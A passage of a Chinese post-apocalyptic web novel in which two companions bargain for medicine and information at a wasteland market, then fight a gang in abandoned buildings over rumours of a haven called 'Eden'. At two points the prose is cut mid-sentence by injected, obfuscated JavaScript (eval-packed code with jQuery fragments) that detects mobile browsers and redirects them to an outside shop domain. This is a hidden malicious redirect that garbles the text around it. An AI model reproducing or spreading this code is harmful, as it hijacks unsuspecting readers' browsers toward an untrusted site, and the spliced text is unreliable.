一个脸上带着刀疤、眼神浑浊的男人几乎立刻凑近沈悬衡,他贪婪的目光先是精准地扫过沈悬衡背上那个略显鼓胀的布袋,评估着里面可能装着的物资价值,随后,那目光便毫不掩饰地在她清秀的脸庞和略显单薄却匀称的身形上刮了一遍,带着一种评估货物般的露骨意味。 末世的肮脏就这么显露在沈悬衡的面前。 “哟,小姑娘,挺大方啊?”刀疤脸咧嘴一笑,露出满口黄牙,“水在这儿可是硬通货。看你面生,第一次来?身上带了不少‘好东西’吧?哥哥我带你熟悉熟悉规矩?”他的手看似随意地搭上了腰间的自制砍刀,威胁意味不言而喻。 沈悬衡直起身,眼神平静地看着他,那目光里的澄澈与坚定,反而让刀疤脸感到一丝莫名的不适。 “规矩?” 一个懒洋洋的声音插了进来。陆昭妄不知何时已经站在了沈悬衡身侧,他没有看刀疤脸,而是低头摆弄着自己刚换到的一个小玩意儿——一个还能微弱显示乱码的电子表。 ”这里的规矩,不就是看谁更不好惹吗?”他抬起头,目光像冰冷的探针一样刺向刀疤脸,嘴角挂着那抹标志性的、带着嘲讽的弧度,“她给你水,你跪下来感谢她都不够。你要是想把它变成买命钱……”他顿了顿,声音压低,却带着清晰的寒意,“我不介意帮你重新定义一下‘代价’这个词。” 他说话的同时,脚下看似不经意地踢动了旁边一块松动的金属片,发出刺耳的刮擦声。 这声音在嘈杂的集市里不算什么,却恰到好处地吸引了附近几个摊位守卫的注意。 刀疤脸脸色变了几变,权衡了一下陆昭妄那有恃无恐的态度和可能引发的麻烦,最终啐了一口,骂骂咧咧地退回了阴影里。 “在这种地方,善意是需要武力投保的,圣人小姐。”陆昭妄转向沈悬衡,语气听不出是教训还是提醒,“下次想布施,先看看你的‘保镖’在不在服务区。” 沈悬衡看着他,没有因他的调侃而动怒,只是默默将水壶盖好。 她知道他说的是事实,但这事实让她心底某处微微发沉。 为了获取更多信息,他们走向那个挂着“信息咨询”破木牌的摊位。摊主是个精瘦的中年男人,眼珠转动得极快,像时刻在计算着什么。陆昭妄直接抛过去一小块压缩饼干。 “打听个事儿,听过‘伊甸园’吗?” 摊主一把接住饼干,塞进怀里,“嘿嘿”的笑了两声。在听到陆昭妄的话时,眼睛眯了起来,露出一个意味深长的笑容:“‘伊甸园’?当然听过。传说嘛,有安全的水,稳定的电,没有那些该死的数据幽灵,晚上还能睡个安稳觉,再也不用担心自己的小命会莫名其妙的丢掉……人人都想找,可没人知道它在哪儿,或者说,知道的人,都没回来。” “具体点。”陆昭妄不耐烦地敲了敲摊位。 “有人说在北边的废弃生态穹顶里,也有人说其实是个地下军事基地,”摊主压低了声音,“还有更玄乎的,说那儿地方……挑人!不是谁都能进。需要‘门票’,或者……经过某种‘试炼’。”他搓了搓手指,暗示着更多的报酬。 一直沉默的沈悬衡忽然开口,声音清晰地切入对话:“如果它真的存在,维持秩序的基础是什么?武力,资源,还是以前文明的法律法规?” 摊主愣了一下,似乎没料到她会问这个,随即含糊道:“这……谁知道呢?大概是都有吧……反正能进去,就是天大的造化喽。” 离开信息摊,陆昭妄不以为然地嗤笑:“听见了吧?又一个画大饼的。干净的水和电?我看是更大的粪坑还差不多。准是个吃人的地儿。” 沈悬衡却若有所思:“如果只是骗局,不会流传这么广,还如此具体。必然有它的源头,或者……部分真实性。” “怎么,圣人小姐已经想着去那个虚无缥缈的地方建立新的教会了?”陆昭妄挑眉,习惯性地讽刺道。 沈悬衡停下脚步,转头看他,目光沉静:“如果存在秩序,至少比纯粹的混乱值得了解。混乱只能带来毁灭,而秩序,哪怕是不完美的秩序,也蕴含着延续的可能。” 她的语气很平静,却带着一种不容置疑的坚定。陆昭妄与她对视着,第一次没有立刻用更尖刻的话顶回去。 他看到她眼底那簇微小却顽固的火苗,那是对某种“更好”的执着,与他纯粹活在当下的生存哲学截然不同。 就在这时,他注意到沈悬衡那个装着药品的布袋,不知何时,开口处的系带松了一些,里面那板他悄悄放进去的巧克力,露出了一个小小的边角。他迅速移开目光,装作什么都没看见,心底却掠过一丝连自己都未曾细察的波动。 集市深处的喧嚣仿佛被一道无形的屏障隔绝在外。 一个身材异常魁梧、脸上横亘着数道狰狞伤疤的壮汉,带着五六个人形成的半包围圈,像一堵充满恶意的墙,将陆昭妄和沈悬衡堵在了一个相对僻静的隧道拐角。 旁边一个摊位后,原本叼着烟看好戏的干瘦男人,在看清疤脸壮汉的瞬间脸色骤变,慌忙掐灭了烟头,迅速收起摊布,同时不易察觉地朝陆昭妄的方向急促地低语了一声:“是‘屠夫’…快走…” 随即头也不回地钻进了身后拥挤的人流,仿佛慢一步就会被吞噬。 空气中弥漫的汗臭和机油味里,陡然掺进了一丝紧绷的、一触即发的危险气息。 “屠夫”本人是个肌肉虬结的壮汉,一道狰狞的伤疤从他额头斜跨至下颌,让他本就凶悍的面容更添几分戾气。他的目光像淬了毒的钩子,死死钉在沈悬衡身后那个装着药品的布袋上,贪婪几乎要溢出来。 “新来的,懂不懂这里的规矩?”“屠夫”开口,声音如同砂轮摩擦,“见了面,总得交点‘保护费’。”他身后的小弟们配合地发出不怀好意的哄笑,脚步又逼近了半分。 陆昭妄下意识地向前半步,习惯性地挡在沈悬衡前面,脸上挂起那副准备开始讨价还价,带着些虚张声势的招牌笑容,舌头底下压着的机锋话眼看就要甩出去—— 然而,一只微凉的手轻轻搭在了他的小臂上,力道不大,却带着一种不容置疑的意味,将他向后带了半步。 陆昭妄微微一怔,侧头看去。 沈悬衡已经上前一步,与他并肩,甚至略微靠前。她脸上没有任何面对威胁时应有的惊慌或愤怒,只有一种深沉的、仿佛能穿透表象直达内核的平静。 她的目光越过“屠夫”那充满压迫感的体型,像是在感受他暴戾姿态下隐藏的痛苦与匮乏,而非仅仅面对一个物理意义上的威胁。她的目光精准地落在他下意识微微蜷缩、动作略显僵硬的左臂上。 “你想要药。”她开口,声音清晰而稳定,不是询问,是陈述。直接撕开了所有虚伪的客套和威胁,将核心问题赤裸裸地摆在台面。 “屠夫”被这不同寻常的反应噎了一下,随即恼羞成怒:“是又怎么样?把包留下,你们可以滚……” “你左臂三角肌旧伤撕裂,肱骨可能有过骨裂,未经妥善处理。”沈悬衡打断他,语速平稳,如同一位医生在念病历,“伴随持续性低度感染,导致关节活动受限,力量减弱。你需要抗生素和非甾体抗炎药。” “屠夫”和他身后的小弟们全都愣住了。她说的分毫不差。 沈悬衡无视他们脸上的错愕,从布袋里取出那板所剩不多的抗生素,举到双方视线之间,仿佛那不是救命的药,而是一件待价而沽的艺术品。 “它的价值,不在于你有多想要,而在于它能换回你多少战斗力,以及……你愿意为这份战斗力支付什么。” 她的目光从“屠夫”脸上移开,缓缓扫过他身后那几个手下,在一个眼神闪烁、面色略显苍白的年轻男人身上短暂停留了一瞬。 “用等值的情报来换。关于附近区域的数据幽灵活动规律,或者其他幸存者据点的可信度。”她顿了顿,声音压低了些,却更具穿透力,“或者,用你队伍里,一个想活下去、而不是只想抢东西的人的忠诚来换。” 这句话像一枚精准投入死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647161|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水的石子。那个被沈悬衡目光扫过的年轻男人猛地低下头,而“屠夫”脸上的横肉剧烈地抽搐了一下,他猛地回头瞪了自己的手下一眼,眼神惊疑不定。 陆昭妄抱着手臂,恰到好处地在这个时候发出一声极轻的、带着嘲弄意味的冷哼。 他不再试图主导对话,而是像一尊沉默的守护神立在沈悬衡侧后方,冰冷的目光如同实质,挨个“点名”般扫过“屠夫”的每一个手下,右手无意识地把玩着那根磨尖的金属桌腿,金属与掌心摩擦发出细微的、令人神经紧绷的沙沙声。 他在用他的方式,为她的“公正交易”施加无形的压力,将天平的这一端,沉沉压下。 “屠夫”的脸色变了又变。他习惯了武力威胁和虚张声势,却从未遇到过这种谈判方式——对方不接他的招,反而直接掀了桌子,把人心和弱点都摆了上来。 他看看沈悬衡手里那板在昏暗光线下泛着微光的药片,又感受了一下左臂隐隐传来的酸痛,最后狠狠瞪了一眼那个心神不宁的手下。 “……情报。”他从牙缝里挤出两个字,像是输掉了一场至关重要的战役,“往西三个街区,那个烂尾楼群里,最近来了伙人,手脚不干净,但消息灵通。”他飞快地说出了一个粗糙的接头的暗号。 沈悬衡仔细听完,确认没有明显的逻辑漏洞,才将手中的抗生素掰下一半,递了过去。“这是预付款。如果情报属实,下次相遇,支付剩余部分。” “屠夫”一把夺过那半板药,脸色铁青,却终究没敢再发作。他恶狠狠地瞪了沈悬衡和陆昭妄一眼,仿佛要将这两张脸刻进脑子里,然后带着手下,悻悻地转身融入集市的人潮,很快消失不见。 紧张的气氛骤然松弛下来。 陆昭妄放下抱着的手臂,转头看向沈悬衡,眼神里充满了全新的、毫不掩饰的探究与兴味。 在屠夫一行人消失在集市人流后,他扯了扯嘴角,语调拖长,带着一种复杂的赞叹他抱着的手臂放了下来:“刚才反应不错,没直接喊打喊杀。没想到你会愿意出手这种场合。” 那根磨尖的金属桌腿在指间灵活地转了个圈,随即被利落地别回背包侧袋。 他转向沈悬衡,眼底还残留着未散的锐利,但嘴角已经勾起那抹熟悉的弧度,那副令人熟悉的,玩世不恭的姿态又浮现上来:“看来你这‘天平’……不止能称伤害,还能称人心?” 沈悬衡正在将手中剩下的半板抗生素收回布袋,仔细系好带子,又拉紧带子检查了一遍。 她没有立刻回答,而是先抬眼扫视了一圈周围。几个原本在不远处探头探脑的身影,在与她平静无波的目光接触后,迅速移开视线或假装忙碌。 集市恢复了之前的喧嚣,但投向他们的目光里,明显多了几分掂量和忌惮。 “裂痕本就存在。我只是让它变得明显。” 她这才看向陆昭妄,语气一如既然的平稳,“恐惧和贪婪能暂时聚合人,但维系不了任何东西。他们内部不稳,强夺的风险高于交易。” “是,明显到差点让那家伙的队伍当场散架。”陆昭妄扯了扯嘴角,这次的笑容里少了些戏谑,多了几分实质的欣赏,“兵不血刃,还能捞到情报。你这招,比拆楼省钱。” 他话锋随即一转,眼神锐利起来:“不过,圣人小姐,你这套‘按价值交易’的玩法,在这种地方还是太显眼了。要不是我在这儿站着,你现在可能已经被扒得只剩‘善良’了。” “你的威慑同样显眼。”沈悬衡迎着他戏谑的目光,毫不退让,“依赖威慑,如同走在崩断的钢丝上。”她顿了顿,微微偏过头,声音低了些,但足够清晰得让陆昭妄听见,“但……刚才,配合得不错。” 陆昭妄挑眉,像是没料到她会直接肯定,随即扯出一个更大的笑容,带着点理所当然的得意:“彼此彼此。” 短暂的沉默在两人之间蔓延,并不尴尬,反而像是一种默契的休战。远处集市的喧嚣成了模糊的背景音。 “所以,”陆昭妄再次开口,用手中磨尖的金属棍无意识地在地上划拉着,“那个‘伊甸园’...你真觉得有戏?”他语气里的怀疑几乎凝成实质,“我打赌,不是海市蜃楼,就是吃人不吐骨头的陷阱。他们最喜欢把你这种人骗进来杀。” 沈悬衡沉默了片刻,隧道深处吹来的风带着湿冷的霉味。 “传闻流传太广,描述过于具体,不像完全虚构。”她的声音平稳,却带着一种不容置疑的认真,“它可能被美化,进入条件必然苛刻,甚至那里的‘秩序’本身也未必光明。但是……” 她顿了顿,目光似乎穿透了眼前的黑暗,望向某个未知的远方:“只要存在一丝不同于纯粹混乱的可能性,就值得去确认。” “在废墟里等待,只会被废墟同化。” 陆昭妄看着她眼中那簇熟悉又陌生的火苗——那是对“可能性”近乎固执的坚持,与他活在当下的生存哲学截然相反。 他习惯性地想讽刺两句,话到嘴边却变成了:“你就这么信那种虚无缥缈的东西?秩序?希望?”这些词从他嘴里说出来,带着一种古怪的生涩。 “我不一定是相信那个地方,”沈悬衡纠正道,她的目光落回他脸上,清澈而坚定,“我是相信寻找本身。停止寻找更好的可能,就等于接受了最坏的定局。” 陆昭妄与她对视着,几秒后,他像是放弃了什么般,肩膀微微松弛下来,胡乱地挠了挠那头短发,嘴角扯出一个半是无奈半是认命的弧度。 “行吧,我说不过你。”他移开视线,语气恢复了那种懒洋洋的调子,但接下来的话却让空气微微凝滞,“不过,如果你真铁了心要去那个传说中四季如春、邻里和睦的‘伊甸园’看看……” 他重新看向她,眼神里没有了玩笑,只剩 清晰的确认: “……记得提前预约,队、长。” 最后那个称呼,他咬得很轻,却异常清晰,不再是戏谑的调侃,更像是一个郑重的承认。 沈悬衡没有回应,只是极轻微地、几乎难以察觉地,点了一下头。 夜色渐深,晚风带走了刚才嚣张跋扈的气氛。 在确定周围环境相对安全后,两人默契地安排了守夜。陆昭妄选择先行休息,靠着管壁轻松入睡。沈悬衡坐在入口处,目光警惕地扫视着外面光怪陆离的阴影。 许久,她像是确认了什么,轻轻打开身边的布袋,指尖在药品和物资之间摸索,最终触碰到那个方正的、坚硬的,似乎还带着些余温的轮廓。 她没有将它取出,只是用指尖在那光滑的包装上停留了片刻,感受着那份与周遭格格不入的“完整”。 然后,她将布袋轻轻拉近,拢在膝上,如同守护着一个微小的、却切实存在的承诺。 临时队友的关系,在一次危机、一场争论和一声“队长”中,悄然完成了第一次淬炼。而前路,依旧笼罩在迷雾与那个遥远传闻的微光之中。 5. 你的嘴怎么比糖还硬 “铛……铛……铛……” 陆昭妄用一根不知从哪儿捡来的锈蚀钢筋,有一下没一下地敲击着废弃城铁轨道的枕木。 单调的金属撞击声在这片死寂的废墟里传出老远,活像为这个崩坏的世界敲响的、节奏随性的丧钟。 “驱散低级数据幽灵,”他头也不回地对身后半步的沈悬衡解释,语气一本正经,“根据我成熟的研究和缜密的观察,这玩意儿怕吵。” 沈悬衡没理会他这套歪理邪说。她的目光掠过轨道旁那些如同巨兽尸骸般倾覆的列车车厢,望向更远处被扭曲数据流渲染成诡异紫色的天际线。 集市那混杂着汗臭、机油和虚假热情的气味已被甩在身后,取而代之的是废土特有的、带着金属锈蚀和数据尘埃的清冷空气。 “说起来,”陆昭妄似乎完全没被刚才集市里的冲突影响心情,或者说,他心情反而更好了,开始兴致勃勃地点评起来,“昨天那个‘屠夫’,啧,名字起得挺唬人,我看他那身肌肉八成是用智商换的。你看到他那表情没?眼珠子瞪得跟他妈要脱眶起义似的。”他模仿着“屠夫”当时惊疑不定的表情,夸张地瞪着眼,随即又恢复那副懒散样,“还‘保护费’,他那条左胳膊都快锈成老古董了,真动起手来,谁保护谁还不一定呢。” 他一边说,一边用钢筋尖端精准地挑开轨道旁一个半埋着的、长满数据苔藓的罐头盒,动作娴熟得像是在进行某种街头艺术。 “不过你最后那手,‘预付款’,”他侧过头,冲沈悬衡挑了挑眉,眼底带着毫不掩饰的欣赏和戏谑,“是真黑啊,圣人小姐。半板药,换一条不知道真伪的情报,还顺手在人家队伍里埋了颗雷。我现在严重怀疑你那‘天平’是不是连人心险恶都能称出斤两。” 沈悬衡脚步不停,只是淡淡回应:“是他自己的选择。”她的目光扫过一旁车厢外壳上被数据风暴侵蚀出的、如同抽象画般的痕迹,似乎在研究那些无序中偶然呈现的规律。 “是是是,都是别人的选择,就你是被逼无奈。”陆昭妄拖长了调子,语气里的调侃意味更浓,“不过话说回来,他那身肌肉要是能分点给脑子,说不定真能去参加末日后的健美先生选拔——如果还有人举办那种玩意儿的话。” 他又敲了一下枕木,发出格外响亮的一声“铛!”,仿佛在为自己这个绝妙的点子喝彩。 走出一段后,她平静地开口,声音不大,却清晰地穿透了“铛铛”的噪音:“接下来,我想去西区看看那条线索,然后可能要去更北边。” 陆昭妄敲击的动作顿了一秒,随即,语速略快地接口,仿佛早就打好了腹稿:“北边?巧了,我早就怀疑旧数据交换中心里有还能运行的服务器阵列,说不定能挖出点旧世界的黑料,或者改点权限什么的。而且那种地方,废弃的能源核心肯定多,顺手捞一笔不亏。”他顿了顿,刻意加重了语气,像是在强调一个不容置疑的事实,“我可不是专门陪你去搞什么慈善调研,纯属顺路,利益驱动。” 沈悬衡只是微微侧头看了他一眼,眼神平静,什么也没说。 陆昭妄:“……她肯定看穿了。妈的。” 沈悬衡:“……借口真多。” 短暂的沉默在两人之间蔓延,只有脚步声和偶尔的敲击声作伴。陆昭妄似乎觉得这安静有点难熬,用钢筋尖划过一旁锈蚀的车皮,发出刺耳的噪音,随即像是若无其事地挑起话头: “话说回来,你怎么就对这个听着跟顶级传销组织发布会一样的‘伊甸园’这么执着?它给你发优惠券了?” 沈悬衡的视线从远处收回,落在自己沾满尘土的靴尖上。记忆如同幽暗的潮水,悄然漫上心头。 那是一个漏雨的避难所,空气里混杂着血腥、脓液和绝望的气味。一个因感染而高烧濒死的小女孩,皮肤烫得像烙铁,枯瘦的小手却死死攥着沈悬衡的手指,用尽最后力气,断断续续地复述着母亲告诉她的"童话"—— “……医生姐姐……妈妈说……‘伊甸园’……没有会咬人的……数据影子……有喝不完的……干净水……地上的泥土……能种出……甜甜的果子……” 小女孩的眼睛已经无法聚焦,却依然固执地望着沈悬衡的方向,气若游丝地恳求:“医生姐姐……我可能……去不了了……你可以……替我去看看吗?” 女孩的声音越来越弱,最终彻底消失。 她小小的身体在沈悬衡怀里慢慢变冷,僵硬的手指却怎么也掰不开。摊开掌心,里面紧紧握着一颗小女孩不知从哪儿捡来、一直当做“伊甸园果子”珍藏的彩色玻璃珠,被体温焐得温热。 那颗廉价的玻璃珠,此刻正安静地躺在沈悬衡随身的口袋深处,沉甸甸的,承载着一个未能长大的生命对“美好”的全部想象和未竟的托付。 “听过一个故事。”沈悬衡没有看陆昭妄,声音轻得像叹息,“关于喝不完的甜水,和能结果子的土地。有人请我,替她去看看。” 陆昭妄嗤笑一声,似乎想习惯性地嘲讽两句,但侧头看到沈悬衡的侧脸——那是一种他从未见过的、混合着悲伤与某种坚硬决绝的神情——到嘴边的话又咽了回去。 他烦躁地揉了揉自己那头黑发,左侧那缕银灰色挑染在黯淡光线下格外显眼。 “行吧,童话故事。”他移开视线,也想起了点什么,语气变得有些含糊,“我嘛……以前用半包烟,跟一个看起来快嗝屁的流浪汉换了个破烂儿电子日记本。费老大劲撬开,里面就剩一小段还能听的。” 他比划了一下,试图模仿那种冷静到诡异的语调:“……伊甸园…筛选…需…基石…” 随即他摊手,“然后就全是爆炸和噪音了。听起来更像某个恐怖组织的纲领,反正跟‘童话’不沾边。” 他最初只是被这段神秘信息本身吸引,像遇到一个复杂的谜题,不解开就浑身难受。 而现在,这份纯粹的好奇心,不知何时已经和前面这个执着于“童话”的“圣人”背影绑在了一起。 他在心里对自己说:我只是想看看,这个能让这么多人惦记、甚至为之胡言乱语的“伊甸园”,到底是个什么离谱的玩意儿。 两人继续沿着锈轨前行。轨道在一处断裂的立交桥下拐弯,桥墩上布满了五彩斑斓的数据苔藓,像某种疯狂的涂鸦。空气中飘散着若有若无的臭氧味,那是数据风暴残留的痕迹。 “你知道吗,”陆昭妄突然又开口,打破了沉默,“我在集市里还听过关于‘伊甸园’的其他版本。有个醉醺醺的老头说那是个巨大的地下农场,用旧世界的科技种土豆。还有个神神叨叨的女人,非说那是一艘藏在山里的星际飞船,就等时机一到带着‘被选中的人’跑路。” 他嗤笑一声:“要我说,如果它真的存在,最有可能是个大型幸存者基地,然后被传说加工成了神话。毕竟,人在快饿死的时候,连看到个罐头包装都能脑补出满汉全席。” 沈悬衡安静地听着,没有打断他的滔滔不绝。她的目光扫过路边一丛奇特的紫色藤蔓——它们正以肉眼可见的速度缓慢地缠绕上一辆废弃汽车的残骸。 “也许吧。”她终于轻声回应,“但既然有这么多不同的描述,说明它至少在某一点上是真实的——它给了不同的人一个共同的念想。” “念想?”陆昭妄像是听到了什么好笑的词,“念想能当饭吃还是能挡子弹?我见过太多为''念想''死得不明不白的人了。”他踢开脚边一个咕噜噜滚动的、半融化的塑料瓶,“在现在这个世界,信得太多死得快。” “什么都不信,和死了有什么区别?”沈悬衡反问,语气依然平静。 陆昭妄被她问得一噎,随即咧开嘴,露出一个近乎恶劣的笑容:“区别大了。死了就是真没了,而像我这样活着的,至少还能欣赏这个世界是怎么一步步玩完的,这可是最精彩的现场直播啊,VIP席位。” 他们穿过一片曾经是公园的区域。干涸的喷泉池里堆积着落叶和垃圾,一座石雕天使像倒在草丛中,翅膀断裂处爬满了发光的蓝色菌斑。陆昭妄路过时,随手用钢筋敲了敲天使的脑袋,发出沉闷的"叩叩"声。 “嘿,你说这位老哥们儿知不知道''伊甸园''在哪儿?”他戏谑道,“可惜了,看来是没法给我们指条明路了。” 沈悬衡没有理会他的胡闹,她的注意力被远处一阵细微的簌簌声吸引。那声音很快消失,但她还是下意识地放缓了脚步,右手微微抬起,一丝翠绿色的数据流在指尖若隐若现。 陆昭妄也几乎同时收敛了玩笑的神色,眼神锐利地扫过声音传来的方向。他不动声色地调整了握姿,将那根锈蚀的钢筋横在身前。 几分钟后,一只皮毛杂乱、眼睛闪烁着不正常红光的野猫从灌木丛中窜出,飞快地跑远了。 “啧,虚惊一场。”陆昭妄松了口气,又恢复了那副懒散的样子,“不过这倒提醒我了,听说西边那片烂尾楼里除了名叫‘掌柜’的那伙人,偶尔还会有一些被数据深度污染的东西游荡。希望咱们的‘老朋友屠夫’给的情报够准,别是把我们往坑里带。” “他不会。”沈悬衡说。 “这么肯定?就因为那半板药?” “因为他更想活下去。故意给出假情报,对他没有任何好处,只会结仇。” 陆昭妄挑眉:“看不出来啊圣人小姐,你还懂这个。” “这不难懂。”沈悬衡看向他,“就像你明明可以用更简单粗暴的方式拿到情报,却选择配合我完成那场''交易''。” 陆昭妄的表情瞬间变得有些微妙,他轻咳一声,移开视线:“……我那叫利益最大化,减少不必要的冲突损耗。别把我想得跟你一样……慈悲为怀。” 沈悬衡没有戳穿他,只是极轻地弯了一下嘴角。 阳光透过破碎的云层和扭曲的数据流,在他们前进的路上投下斑驳的光影。远处,西区烂尾楼群那庞大而沉默的轮廓,已经隐约可见。 越靠近烂尾楼群,空气中那股末日常见的尘埃和腐败气味里,隐隐掺进了一丝若有若无的人类活动痕迹——丢弃的包装纸、熄灭不久的篝火灰烬,还有被刻意掩盖、却逃不过沈悬衡眼睛的零星脚印。 这片由钢筋混凝土构成的“丛林”沉默地矗立着,窗口如同空洞的眼窝,无声地凝视着不请自来的访客。 “人不少,得有七八个。”沈悬衡蹲下身,指尖擦过地面一道模糊的拖拽痕迹,低声说,“有伤员,或者行动不便的人。看脚印的深度和间距,他们搬运过重物,可能就在这几个小时。” 陆昭妄则眯着眼,打量着那些如同巨兽骨架般的楼体,快速分析着:“入口不会在明面。看那边,”他指向一栋楼二层一个破损的窗口,那里垂下半截不易察觉的、用电缆内芯搓成的细绳,“哨位。视野覆盖主路口,但盲区在东北角那个塔吊后面。从那边绕过去,能摸到他们屁股后面。” 他扯了扯嘴角,露出一丝算计的笑,“希望‘掌柜’先生给我们准备的‘惊喜’别太寒酸。” 他们没有选择硬闯。沈悬衡凭借着她作为医生特有的细致观察力,从垃圾的种类和新旧程度判断着对方的人数和生活规律;陆昭妄则运用他擅长的逻辑推理和反侦察思维,从建筑的布局和人为痕迹中推断出对方最可能的据点位置和巡逻路线。 两人像两道默契的幽灵,借助断墙、废弃建材和疯狂滋生的变异植物的掩护,悄无声息地潜入了烂尾楼群的深处,最终锁定了一栋相对完整、内部被简单加固过的毛坯别墅。 别墅门口随意丢弃着几个空罐头盒,里面还残留着些许油渍。 “看来‘生意’不错,伙食水平比外面那些啃树皮的高档点。”陆昭妄压低声音,语气里带着惯有的嘲讽。 然而,就在他们试图靠近别墅侧面一个可能是通风口的缺口时,沈悬衡的脚不小心碰到了一个半埋在浮土里的易拉罐—— “哐当!” 清脆的声响在死寂的环境里如同惊雷。 “操!有人!” 阴影里立刻传来一声粗哑的低吼。 战斗瞬间爆发。五六条人影从不同的角落里扑了出来,手里拿着五花八门的武器,从磨尖的钢筋到自制的砍刀,眼神里充斥着警惕与凶狠。 沈悬衡反应极快,在对方合围之前,身体向后一缩,灵巧地退入了旁边布满脚手架和建筑垃圾的狭窄通道。 这里是她的主场。她利用对地形的敏锐感知,像一尾游鱼般在钢筋丛林间穿梭。当追兵逼近时,她猛地推倒一旁堆叠的空心砖,扬起的尘土和滚落的砖块有效地阻滞了对方的脚步。 她从一个废弃的涂料桶里抓出一把不知名的白色粉末(可能是石灰,也可能是别的什么),看也不看就撒向身后,成功让一个冲得太快的家伙捂着眼睛惨叫倒地。 她的攻击手段极其有限,仅限于最简单的女子防身术,以及这段时间陆昭妄强行灌输给她的、最基础的格斗技巧——如何更有效地攻击膝关节、脚踝,如何利用反关节技在被抓住时瞬间脱身。 她绝不缠斗,每一次接触都只为制造空隙,然后迅速脱离。她甚至会用上医疗担架改造的特制绳索,在追兵必经之路上设置简单的绊索,或者利用脚手架的高度差,进行短暂的规避。 另一边,陆昭妄则主动迎上了大部分敌人,他的打法与沈悬衡的灵巧周旋截然不同,充满了暴力的美学。 那根锈蚀的钢筋在他手里成了致命的凶器,戳、扫、砸,招式狠辣直接,专攻咽喉、心窝、太阳穴等要害,每一次挥击都带着明确的目的性——让敌人瞬间失去战斗力。 他的动作效率极高,没有一丝多余的花哨,仿佛一架为杀戮而精确校准的机器。 在激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647162|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈的对抗中,他的声音还会时不时穿透混乱,精准地砸向沈悬衡: “低头!右滚!”——一根挥舞的铁管擦着沈悬衡的后脑勺掠过,带起几根发丝。 “对,记住那种情况下你的重心要压得更低!” “别用踢击,你力量不够!用我教你的反关节技脱身!”——沈悬衡依言变招,手腕一翻一扣,果然从一个大汉的钳制中滑脱出来,同时脚尖精准地踢在对方膝侧,令其痛呼跪地。 这与其说是战斗,不如说是一场在刀尖上进行的、关乎生死的实战教学。 陆昭妄似乎在用这种方式,固执地想要将更多生存的技能塞进这个在某些方面异常强大、在另一些方面却又显得“天真”的同伴脑子里。 战况一度胶着。对方一个人高马大的壮汉,眼见迟迟拿不下两人,脸上闪过一丝狠厉,猛地从后腰掏出一把造型古怪、枪口闪烁着不稳定蓝光的改装武器!那武器看起来像是用某种工业射钉枪和能量核心粗暴拼接而成,散发着危险的气息。 “妈的,尝尝这个!”壮汉狞笑着,粗壮的手指扣向那简陋的扳机。 那枪口汇聚的能量让陆昭妄瞳孔一缩。他能感觉到,那玩意儿发射的绝不是普通子弹,很可能是范围性的数据干扰波或者高压电击,足以让中招者瞬间失去对身体的控制,甚至直接烧毁神经系统。 不能再藏拙了! 【逻辑重构】! 意念在千分之一秒内凝聚,如同无形的手指,猛地戳入那粗糙改装枪械最核心、最脆弱的“激发-发射”逻辑链,然后,用尽全力,朝着某个关键的“节点”,狠狠一“扳”! 没有巨响,只有一声沉闷的、如同劣质钢管被强行掰弯的“嘎吱”声。壮汉手中的枪管在激发的前一刻,以一种极其“合理”的方式微微弯曲了一个角度。 “轰!” 蓝光在弯曲的枪管内爆开,剧烈的能量无处宣泄,直接炸膛!壮汉惨叫一声,持枪的手瞬间血肉模糊,焦糊味弥漫开来,整个人被近距离的冲击波狠狠掀飞出去,撞在后面的混凝土墙上,软软滑落,不知死活。 几乎在同一时间,陆昭妄因为全力发动能力,感官短暂集中于前方,未能注意到身后一根悄无声息刺来的、磨尖了的钢钎!那钢钎带着致命的寒意,直指他的后心。 沈悬衡看到了。 她的呼吸几乎停止。 【私心天平】! 概念捕捉——【偷袭】。目标连接——偷袭者自身。 没有光芒,没有声响。那个从陆昭妄背后阴影中窜出的偷袭者,在钢钎即将触及目标背心的瞬间,脚下仿佛被什么东西无形地绊了一下,身体失去平衡,一个标准的狗吃屎向前扑倒,手中的钢钎也“当啷”一声脱手飞出,擦着陆昭妄的脚边落在地上。 陆昭妄听到身后的动静,猛地回头,只看到趴在地上的偷袭者和滚落的钢钎。他挑了挑眉,看向不远处的沈悬衡。 沈悬衡微微喘息,脸色似乎比刚才更白了一点,但眼神依旧平静,对上他的目光,几不可查地摇了一下头,示意自己没事。 解决了最具威胁的两个点,剩下的乌合之众在陆昭妄狠辣的攻击和沈悬衡烦不胜烦的干扰下很快溃散。 那个自称“掌柜”的头目,见势不妙想跑,却被陆昭妄几步追上,用还在滴血的钢筋抵住咽喉,一把按在了冰冷的混凝土墙上。 “聊聊?”陆昭妄脸上溅了几点血污,笑容却灿烂得让人心底发寒,“关于北边那个数据交换中心,还有你截获的……幽灵信号。别让我问第二遍。” “掌柜”的脸色在昏暗光线下煞白如纸,喉结在钢筋的压迫下艰难地滚动着。“我说!我都说!”他几乎是尖叫着,竹筒倒豆子般把他知道的一切都倒了出来: 城北那座废弃的“区域数据交换中心”、需要特定型号的旧服务器才能捕捉到的周期性加密信号、信号碎片里除了“伊甸园”、“筛选”之外,偶尔会出现的另一个令人费解的词语——“奠基者”…… 